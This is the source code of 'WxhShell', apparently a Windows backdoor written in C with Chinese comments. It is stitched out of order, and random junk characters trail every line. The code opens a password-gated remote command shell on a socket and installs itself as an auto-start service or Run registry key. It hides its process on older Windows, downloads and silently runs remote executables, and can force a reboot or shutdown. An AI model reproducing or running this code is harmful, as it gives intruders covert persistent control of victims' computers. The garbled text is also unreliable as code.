    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yQ> *F  
    if(Boot(SHUTDOWN)) O>^0}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _zQ3sm  
    else { YShtoaCx>  
    closesocket(wsh); ?@ ei_<A{  
    ExitThread(0); H4'xxsx  
    } DCfV  
    break; ,*fvA?  
    } EQ&E C  
  // 获取shell Y?Yix   
  case 's': { +>N/q(l  
    CmdShell(wsh); B9;-Blh  
    closesocket(wsh); DiF=<} >x  
    ExitThread(0); jP6;~[rl  
    break; CtwMMZXX3  
  } |[x) %5F  
  // 退出 W! FmC$Kc  
  case 'x': { Z7&Bn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iYj+NL  
    CloseIt(wsh); B$b'bw.  
    break; 1!. CfQi  
    } !*wK4UcX"  
  // 离开 iG*3S)  
  case 'q': { %J\1W"I?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^+:_S9qst  
    closesocket(wsh); 9 |Iq&S  
    WSACleanup(); { U a19~'>  
    exit(1); MjMPbGUX{  
    break; K#g)t/SZ  
        } JcxhI]E  
  } <,,U>0?3  
  } .IYE+XzV  
S2)rkX$  
  // 提示信息 ,,r%Y&:`6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -b-Pvw4  
} )2mi6[qs0l  
  } v7VJVLH,I7  
u]P0:)tS.  
  return; /ve8);cH\  
} H"8+[.xBh  
kStWsc$;+T  
// shell模块句柄 B[F,D  
int CmdShell(SOCKET sock) x,"'\=|s*  
{ vB, X)  
STARTUPINFO si;  hM2^[8  
ZeroMemory(&si,sizeof(si)); ,L&Ka|N0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )+[IR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |MvCEp  
PROCESS_INFORMATION ProcessInfo; xz YvD{>  
char cmdline[]="cmd"; JpDc3^B*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6vz9r)L  
  return 0; M?5[#0"&V  
} }2M2R}D  
9I/o;Js  
// 自身启动模式 +` B m  
int StartFromService(void) KLlo^1.<  
{ 6Gjr8  
typedef struct NS "hdyA  
{ 0V*L",9M  
  DWORD ExitStatus; S~`& K  
  DWORD PebBaseAddress; u79.`,Ad&  
  DWORD AffinityMask; }9e4?7  
  DWORD BasePriority; $53I%.  
  ULONG UniqueProcessId; =vBxwa^  
  ULONG InheritedFromUniqueProcessId; Kd CPt!  
}   PROCESS_BASIC_INFORMATION; SE{$a3`UzP  
pdsjX)O+f  
PROCNTQSIP NtQueryInformationProcess; ~DcX}VCm  
o<locZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UT$G?D";M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tsq]QTA*  
^<xpp.eY  
  HANDLE             hProcess; \}t(g}7T  
  PROCESS_BASIC_INFORMATION pbi; `bO+3Y'5  
Ps0'WRJnx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  ' -[  
  if(NULL == hInst ) return 0; d;|Pp;dc  
(`gqLPx[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;ej;<7+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vBQ|h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nGGYKI  
6gfv7V2H  
  if (!NtQueryInformationProcess) return 0; Zr'VA,v  
J=W"FEXTL7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pm O}m>  
  if(!hProcess) return 0; zzy%dc  
%WHue  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f;#hcRSH  
y!fV+S,  
  CloseHandle(hProcess); {PGNPxUbe  
e4Ol:V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $zq`hI!1  
if(hProcess==NULL) return 0; Z<z(;)?c  
^ _KHw  
HMODULE hMod; <9YRSE [Ed  
char procName[255]; %1a\"F![  
unsigned long cbNeeded; f&B&!&gZ  
U$6N-q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w<N [K>  
mZJ"e,AY  
  CloseHandle(hProcess); hT9fqH  
fLAOA9  
if(strstr(procName,"services")) return 1; // 以服务启动 c3]ZU^  
D_D<N(O  
  return 0; // 注册表启动 X'e@(I!0  
} $d%m%SZxv  
&H;0N"Fn  
// 主模块 G$:T!  
int StartWxhshell(LPSTR lpCmdLine) ` :Am#"j]}  
{ Dms 6"x2  
  SOCKET wsl; W1M<6T.{7  
BOOL val=TRUE; =:mD)oX*  
  int port=0; )P@t,mxW/  
  struct sockaddr_in door; ^rjICF e  
\kZxys!4  
  if(wscfg.ws_autoins) Install(); cF3V{b|bU  
$`x4|a8-  
port=atoi(lpCmdLine); WMZ&LlB%  
BdB/`X*  
if(port<=0) port=wscfg.ws_port; )U e9:e  
> y"V%  
  WSADATA data; aGx`ec*t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3J~Q pw0<  
Jj_E/c"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i,M<}e1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !.H< dQS  
  door.sin_family = AF_INET; $0V<wsVM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O8TAc]B  
  door.sin_port = htons(port); =K~<& l8  
BZ<Q.:)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4]u53`  
closesocket(wsl); NMM0'tY~  
return 1; rq Dre`m  
} DG}t!  
DzYi> E:*  
  if(listen(wsl,2) == INVALID_SOCKET) { 1om:SHw  
closesocket(wsl); 6pM[.:TM   
return 1; R8Nr3M9 )  
} _dVzvk`_R  
  Wxhshell(wsl); ?d0I*bs)7  
  WSACleanup(); :% )va  
xrxORtJ<  
return 0; rePJ4i [y  
{<o_6 z`$  
} yNi/JM  
p)RASIB  
// 以NT服务方式启动 \-$wY%7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s6%%/|  
{ ?<bByxa  
DWORD   status = 0; PsMoH/+"  
  DWORD   specificError = 0xfffffff; 4,!#E0  
F\F_">5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f1y3l1/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f/&gR5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vzM8U>M  
  serviceStatus.dwWin32ExitCode     = 0; 2Kovvh y#  
  serviceStatus.dwServiceSpecificExitCode = 0; XCCN6[[+  
  serviceStatus.dwCheckPoint       = 0; o( Yfnnuy  
  serviceStatus.dwWaitHint       = 0; Pqli3(  
vmm#UjwF3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BZP}0  
  if (hServiceStatusHandle==0) return; ;D&FZ|`(u  
[Nbs{f^J=  
status = GetLastError(); vx62u29m  
  if (status!=NO_ERROR) |RS9N_eRt  
{ +KgLe>-}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FY+0r67]  
    serviceStatus.dwCheckPoint       = 0; w4P?2-kB  
    serviceStatus.dwWaitHint       = 0; .w/w] Eq  
    serviceStatus.dwWin32ExitCode     = status; Q^>"AhOiU  
    serviceStatus.dwServiceSpecificExitCode = specificError; / CEnyE/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q}p&<k  
    return; |N/Grk4  
  } q">lP (t  
*UhYX)J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uOUgU$%zqH  
  serviceStatus.dwCheckPoint       = 0; UJMM&  
  serviceStatus.dwWaitHint       = 0; s.`:9nj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t>"UenJt-  
} P|HxD0c^u  
e=&,jg?K  
// 处理NT服务事件,比如:启动、停止 8'[g?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }5 ^2g!M  
{ gpDH_!K  
switch(fdwControl) y:u7*%"  
{ b5lZ||W.  
case SERVICE_CONTROL_STOP: O?5uCh$H  
  serviceStatus.dwWin32ExitCode = 0; Cl#PYB{1Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W6J%x[>Z  
  serviceStatus.dwCheckPoint   = 0; :@#9P,"  
  serviceStatus.dwWaitHint     = 0; ZFwUau  
  { uNSaw['0j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);   @a2n{  
  } djJD'JL  
  return; ?_)b[-N!  
case SERVICE_CONTROL_PAUSE: _W]R|kYl$'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (37dD!  
  break; t66Cx  
case SERVICE_CONTROL_CONTINUE: g<U\7Vp\1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NU[{ANbl  
  break; '/M9V{DD88  
case SERVICE_CONTROL_INTERROGATE: Wd "<u2  
  break; l7#5.%A  
}; IlN: NS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #$W02L8  
} E| eEAa  
BV)o F2b:  
// 标准应用程序主函数 !Q[j;f   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y0s=yN_  
{ X)7_@,7  
kq|(t{@Rp  
// 获取操作系统版本 :Y wb  
OsIsNt=GetOsVer(); 8LuM eGs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *{WhUHZF  
SFqY*:svOw  
  // 从命令行安装 8R|!$P  
  if(strpbrk(lpCmdLine,"iI")) Install(); h;" 9.  
C\ 2rSyo  
  // 下载执行文件 x6yYx_  
if(wscfg.ws_downexe) { MX Qua:&HW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wNc.z*+O"H  
  WinExec(wscfg.ws_filenam,SW_HIDE); $O nh2 ^  
} ]q^6az(Ud  
#<h//<  
if(!OsIsNt) { K(jo[S  
// 如果时win9x,隐藏进程并且设置为注册表启动 u7||]|2  
HideProc(); 9u[^9tL+D  
StartWxhshell(lpCmdLine); k-it#'ll{x  
} \jA#RF.W  
else RW"QUT  
  if(StartFromService()) vq?Lej  
  // 以服务方式启动 4# +i\H`  
  StartServiceCtrlDispatcher(DispatchTable); WSEw:pln  
else hK]mnA[Y  
  // 普通方式启动 %lsRj)n  
  StartWxhshell(lpCmdLine); ,X`w/ 2O  
ya3k;j2C  
return 0; YMSZcI  
} 'Fq +\J#%  
W*2d!/;7>  
#hMS?F|  
6LRvl6ik  
=========================================== SG$V%z"e  
m3T=x =  
_c!$K#Yl{  
xP{)+$n  
t;HM  
LNNwy:_ !  
" XXD LbT'J  
XrUc`  
#include <stdio.h> [L m  
#include <string.h> r>ziQq8C&  
#include <windows.h> X!xmto  
#include <winsock2.h> gN@|lHbU  
#include <winsvc.h> k~%j"%OB  
#include <urlmon.h> wK]p`:3  
{,+{,Ere  
#pragma comment (lib, "Ws2_32.lib") 8sus$:Ry  
#pragma comment (lib, "urlmon.lib") _DouVv>  
'3|fv{I  
#define MAX_USER   100 // 最大客户端连接数 { )g $  
#define BUF_SOCK   200 // sock buffer ,A%p9  
#define KEY_BUFF   255 // 输入 buffer %6.WGuO  
;kD UQw  
#define REBOOT     0   // 重启 \>$3'i=mQ  
#define SHUTDOWN   1   // 关机 rP{Jep!  
P,J+'.@  
#define DEF_PORT   5000 // 监听端口 =h\unQ1T  
'MgYSP<  
#define REG_LEN     16   // 注册表键长度 c/DK31K  
#define SVC_LEN     80   // NT服务名长度 O!G!Gq&  
&+5ij;AD  
// 从dll定义API Q Yg V[\&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C4aAPkcp2$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lrjVD(R=g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $c {fPFe-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~&< Ls  
g@2KnzD  
// wxhshell配置信息 E1j3c :2  
struct WSCFG { 9?iA~r|+  
  int ws_port;         // 监听端口 5szJ.!(  
  char ws_passstr[REG_LEN]; // 口令 \ )WS^KR%  
  int ws_autoins;       // 安装标记, 1=yes 0=no $35C1"  
  char ws_regname[REG_LEN]; // 注册表键名 l*.u rG  
  char ws_svcname[REG_LEN]; // 服务名 KCIya[$*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y&<]:)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 72CHyl`|l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mBeP" GS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P$x9Z3d_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jmuyd\?,b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h% eGtd$n  
I&U.5wf  
}; @<.ei)cqb  
L} "bp  
// default Wxhshell configuration u69UUkG  
struct WSCFG wscfg={DEF_PORT, VOJ/I Dl 4  
    "xuhuanlingzhe", #;[0:jU0  
    1, h/Yxm2  
    "Wxhshell", kRjNz~g  
    "Wxhshell", uBK0+FLL@  
            "WxhShell Service", ",xTgB3?V  
    "Wrsky Windows CmdShell Service", f(G1xw]]@Y  
    "Please Input Your Password: ", c@2a)S8Y]  
  1, oJZxRm[g$t  
  "http://www.wrsky.com/wxhshell.exe", 7B<,nKd  
  "Wxhshell.exe" : *XAQb0  
    }; RFLfvD<  
IH&0>a  
// 消息定义模块 fK6[ p&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hFo29oN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g >@a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bg!(B<!X  
char *msg_ws_ext="\n\rExit."; x6)qs-  
char *msg_ws_end="\n\rQuit."; H:|.e)$i  
char *msg_ws_boot="\n\rReboot..."; ^RJ @9`P&t  
char *msg_ws_poff="\n\rShutdown..."; * RyU*au  
char *msg_ws_down="\n\rSave to "; +_L]d6  
iZLy#5(St  
char *msg_ws_err="\n\rErr!"; '4Jf[  
char *msg_ws_ok="\n\rOK!"; #M||t|9iu?  
J'ZC5Xr  
char ExeFile[MAX_PATH]; xL*J9&~iG  
int nUser = 0; >$tU @mq  
HANDLE handles[MAX_USER]; H C=ZcK'W  
int OsIsNt; 02tt.0go  
Wco2i m  
SERVICE_STATUS       serviceStatus; 74ho=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q}G2f4  
sv!zY= 6  
// 函数声明 DZ @B9<Zz{  
int Install(void); dk^jv +  
int Uninstall(void); ] s^7c  
int DownloadFile(char *sURL, SOCKET wsh); v6|j.;  
int Boot(int flag); )Q62I\  
void HideProc(void); BT&R:_:  
int GetOsVer(void); Ims?  
int Wxhshell(SOCKET wsl); k33\;9@k  
void TalkWithClient(void *cs); Zf1 uK(6X  
int CmdShell(SOCKET sock); *;)O'|  
int StartFromService(void); 3"zPG~fY{  
int StartWxhshell(LPSTR lpCmdLine); a{ L&RRJ  
&XV9_{Hm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =IW!ZN_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^r-d.1  
Qu1&$oO  
// 数据结构和表定义 v)T# iw[  
SERVICE_TABLE_ENTRY DispatchTable[] = B~E">}=!  
{ h (q,T$7 W  
{wscfg.ws_svcname, NTServiceMain}, \gA<yz-;N  
{NULL, NULL} 0zA;%oP  
}; ilde<!?  
ImG8v[Q E  
// 自我安装 hsQDRx%H}  
int Install(void) ht*(@MCr<  
{ \i/HHP[%  
  char svExeFile[MAX_PATH]; 1)^\R(l  
  HKEY key; =.7tS'  
  strcpy(svExeFile,ExeFile); EcL6lNTR+  
.8Bu%Sf  
// 如果是win9x系统,修改注册表设为自启动 9tU"+  
if(!OsIsNt) { O Bcz'f~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NTD1QJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zBl L98  
  RegCloseKey(key); q01 L{~>bz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;py9,Wno  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $m)gfI]9  
  RegCloseKey(key); [.^ol6  
  return 0; &9^4- 5]  
    } p:TE##  
  } }ymW};W  
} Zj!,3{jX^  
else { p @kRo#~l  
$cIaLq  
// 如果是NT以上系统,安装为系统服务 A"ATtid  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nhdZC@~E0  
if (schSCManager!=0) .SjJG67OyA  
{ F \ls]luN  
  SC_HANDLE schService = CreateService ]:#=[ CH  
  ( J/jkb3  
  schSCManager, /6Q]f  
  wscfg.ws_svcname, "o+?vx-  
  wscfg.ws_svcdisp, cz,QP'g  
  SERVICE_ALL_ACCESS, ]7Du/)$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cyd/HTNh<  
  SERVICE_AUTO_START, ]}PXN1(  
  SERVICE_ERROR_NORMAL, pHmqwB~|  
  svExeFile, XrM+DQ;  
  NULL, ij!d-eM/b  
  NULL, 4P[MkMoC  
  NULL, kBhjqI*  
  NULL, u{_,S3Aa  
  NULL gy%.+!4>v`  
  ); #%Bt!#  
  if (schService!=0) ?[d4HKs  
  { >({qgzV`  
  CloseServiceHandle(schService); eJTU'aX*   
  CloseServiceHandle(schSCManager); A[uE#T ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )I[f(f%W7  
  strcat(svExeFile,wscfg.ws_svcname); [:{ FR2*x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 7(t<3V&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); { 7jim  
  RegCloseKey(key); A!Cby!,  
  return 0; 3s/1\m%  
    } |J,zU6t  
  } aSvv(iV  
  CloseServiceHandle(schSCManager); !Ztqh Xr  
} _]OY[&R  
} JyZuj>` 6  
o *J*} y  
return 1; #Z1-+X8P  
} q@~g.AMCB  
F<k+>e  
// 自我卸载 -$W1wb9z  
int Uninstall(void) jcJ 4?  
{ U@NCN2 I  
  HKEY key; n!4\w>h  
<4LJ #Fx  
if(!OsIsNt) { z )'9[t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h40;Q<D  
  RegDeleteValue(key,wscfg.ws_regname); ##6\~!P  
  RegCloseKey(key); .p! DVQ"a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YK)m6zW5  
  RegDeleteValue(key,wscfg.ws_regname); ;Y\LsmZ;F  
  RegCloseKey(key); "G [Nb:,CR  
  return 0; wHbkF#[:i  
  } wx*?@f>u^  
} .qSDe+A  
} M !'d  
else { u:f ]|Q  
^AH[]sE_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gLX<> |)*  
if (schSCManager!=0) 4HGT gS  
{ i8V\x>9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IqYJ  
  if (schService!=0) _# sy  
  { ksC_F8Q+  
  if(DeleteService(schService)!=0) { BQ0?B*yqd  
  CloseServiceHandle(schService); >8_y-74  
  CloseServiceHandle(schSCManager); RG{T\9]n  
  return 0; 9s^$tgH  
  } QMBT8x/+_'  
  CloseServiceHandle(schService); bFX{|&tHU  
  } KAClV%jP  
  CloseServiceHandle(schSCManager); qR'FbI  
} /eQAGFG  
} p75o1RU  
LZn'+{\`  
return 1; :|s8v2am  
} zG#5lzIu,  
W_2;j)i  
// 从指定url下载文件 oRCc8&  
int DownloadFile(char *sURL, SOCKET wsh) 'nq=xi@RC  
{ 'IX1WS&\"  
  HRESULT hr; L*Z.T^h  
char seps[]= "/"; 9m M3Ve*  
char *token; DzGUKJh6  
char *file; }_'5Vb_  
char myURL[MAX_PATH]; `[sFh%:  
char myFILE[MAX_PATH]; 5`.CzQVb  
M M@,J<  
strcpy(myURL,sURL); }n==^2  
  token=strtok(myURL,seps); wtek5C^  
  while(token!=NULL) \Osu1]Jn>  
  { WiytHuUF  
    file=token; ZRxOXt&;  
  token=strtok(NULL,seps); ?$6H',u  
  } T#Z&*  
@GN2v,WA?  
GetCurrentDirectory(MAX_PATH,myFILE); 0SL{J*S4[#  
strcat(myFILE, "\\"); PyQ .B*JJ  
strcat(myFILE, file); S[F06.(1  
  send(wsh,myFILE,strlen(myFILE),0); -'$ob~*  
send(wsh,"...",3,0); :/T\E\Qr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8 ??-H0P  
  if(hr==S_OK) a&_ h(  
return 0; G\gjCp?!  
else TN0KS]^A3  
return 1; rM7qBt  
C#U(POA  
} 6j(/uF4!#  
vUpAW[[  
// 系统电源模块 g0grfGo2p  
int Boot(int flag) m;dwt1'Zw  
{ >R F|Q  
  HANDLE hToken; P4[kW}R  
  TOKEN_PRIVILEGES tkp; >$ZG=&  
oN1D&*  
  if(OsIsNt) { Wi&v?nm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XR+ SjCA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -$Z1X_~;)<  
    tkp.PrivilegeCount = 1; !rUP&DA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l53i {o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >_?i)%+)  
if(flag==REBOOT) { TwkT|Piw S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4`,(*igEv  
  return 0; Rml'{S  
} (A~7>\r +  
else { kG>jb!e@(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;MS.ag#  
  return 0; ZQfxlzj+X  
} @N Yl4N  
  } \(Sly&gL  
  else { x?wvS]EBg  
if(flag==REBOOT) { H3rA ?F#+*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )s $]+HQs  
  return 0; !2|Lb'O  
} cdMSC7l!  
else { hObL=^F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &42 ]#B"*  
  return 0; Ooz ,?wU6  
} .==D?#bn  
} 6iU&9Z<%  
8o5[tl ?w  
return 1; b&rBWp0#  
} ps{4_V-3u  
K}l3t2uk  
// win9x进程隐藏模块 = 7y-o  
void HideProc(void) yLC[-.H  
{ 7H3v[ f^Q  
]M5~p^ RB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }n9(|i+  
  if ( hKernel != NULL ) N!K%aH~O  
  { Jp=qPG|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?J:w,,4m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <[db)r~c  
    FreeLibrary(hKernel); &O' W+4FAc  
  } ZE=sw}=  
+KTfGwKt  
return; 7%^G ]AFi  
} JH.XZM&  
6(8 F4[D  
// 获取操作系统版本 SxRJ{m~  
int GetOsVer(void) j[r}!;O  
{ -$Fj-pO\  
  OSVERSIONINFO winfo; J8:s=#5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C7%R2>}?f  
  GetVersionEx(&winfo); tRoSq;VrS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c]9gf\WW  
  return 1; Zy(i_B-b  
  else V"#0\ |]m  
  return 0; =7Ud-5c  
} J>_mDcPo  
|*{*tW C1  
// 客户端句柄模块 \}b2 oiY  
int Wxhshell(SOCKET wsl) eQ>Ur2H8n  
{ u n v:sV#b  
  SOCKET wsh; [\ao#f0WR  
  struct sockaddr_in client; doanTF4Da  
  DWORD myID; .\XRkr'-  
hV7EjQp  
  while(nUser<MAX_USER) | 1B0  
{ #*.!J zOg  
  int nSize=sizeof(client); ^OY$ W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }WsPuo  
  if(wsh==INVALID_SOCKET) return 1; M}|(:o3Yo  
07.p {X R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [edF'7La  
if(handles[nUser]==0) -gs I:-Xo  
  closesocket(wsh); o-8{C0>:  
else gNZwD6GMe?  
  nUser++; 3WwS+6R  
  } )U\i7[k>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]ae(t`\l^  
!`{?qQ[=  
  return 0; XVs]Y'* x  
} &[d'g0pF  
p cLKE ZK  
// 关闭 socket 31G:[;g  
void CloseIt(SOCKET wsh) \lK?f]qJq  
{ L~ &S<5?  
closesocket(wsh); ,Q"'q0hM=  
nUser--; k[x-O?$O@  
ExitThread(0); K&[0`sH!  
} `:C1Wo^<  
n5QO'Jr%[  
// 客户端请求句柄 x]7:MG$  
void TalkWithClient(void *cs) Vl^x_gs#_]  
{ &;$uU  
BwHJr(n  
  SOCKET wsh=(SOCKET)cs; .B`$hxl*0c  
  char pwd[SVC_LEN]; S|=)^$:  
  char cmd[KEY_BUFF]; ?nc:bC  
char chr[1]; =CQfs6np:N  
int i,j; =i)%AnZ^9  
I$"Z\c8;  
  while (nUser < MAX_USER) { P`Zon  
u$JAjA  
if(wscfg.ws_passstr) { "Da 1BuX\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T, #-: }  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vg$d|m${  
  //ZeroMemory(pwd,KEY_BUFF); F+*E}QpM  
      i=0; 6[t<g=  
  while(i<SVC_LEN) { \6 \bD<  
L\4rvZa  
  // 设置超时 8O^x~[sQ  
  fd_set FdRead; >M5}L<  
  struct timeval TimeOut; f,O10`4s  
  FD_ZERO(&FdRead); J^"_H:1[  
  FD_SET(wsh,&FdRead); *9n[ #2sM<  
  TimeOut.tv_sec=8; C@-Hm  
  TimeOut.tv_usec=0; 8>x5|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [],[LkS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j)@W1I]2#  
Ny"9!3V   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l4RqQ+[KA;  
  pwd=chr[0]; X0j\nXk  
  if(chr[0]==0xd || chr[0]==0xa) { F>.y>h  
  pwd=0; *A9v8$  
  break; ?,VpZ%Df2  
  } ewcFzlA@  
  i++; !hHe`  
    } ^6Aa^|  
^?e[$}  
  // 如果是非法用户,关闭 socket >.SO2w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T]0K4dp+  
} cs2-jbRn  
72| gzm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _L8&.=4]i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7}xQ4M\u$  
\0|x<~#j'  
while(1) { HP*)^`6X  
w (HVC  
  ZeroMemory(cmd,KEY_BUFF); 54z`KX 73  
Y5 E0n(Z  
      // 自动支持客户端 telnet标准   }<G a e5  
  j=0; (lwV(M  
  while(j<KEY_BUFF) { ` ,T .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b#7nt ?`7p  
  cmd[j]=chr[0]; (B` NnL$  
  if(chr[0]==0xa || chr[0]==0xd) { $U,]c  
  cmd[j]=0; jpi,BVTI-X  
  break; y1 a%f.F`  
  } zDYJe_m ~  
  j++; =F[M>o  
    } !wAnsK  
>XZ2w_  
  // 下载文件 2\{/|\  
  if(strstr(cmd,"http://")) { 9{u/|,rq1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QY+{ OCB  
  if(DownloadFile(cmd,wsh)) G$ zY&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@t&jznt<  
  else 8+!G /p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , JH*l:7  
  } 0uKm)t/  
  else { a/E(GQ,,  
CV |Ae [  
    switch(cmd[0]) { ~a=]w#-KD  
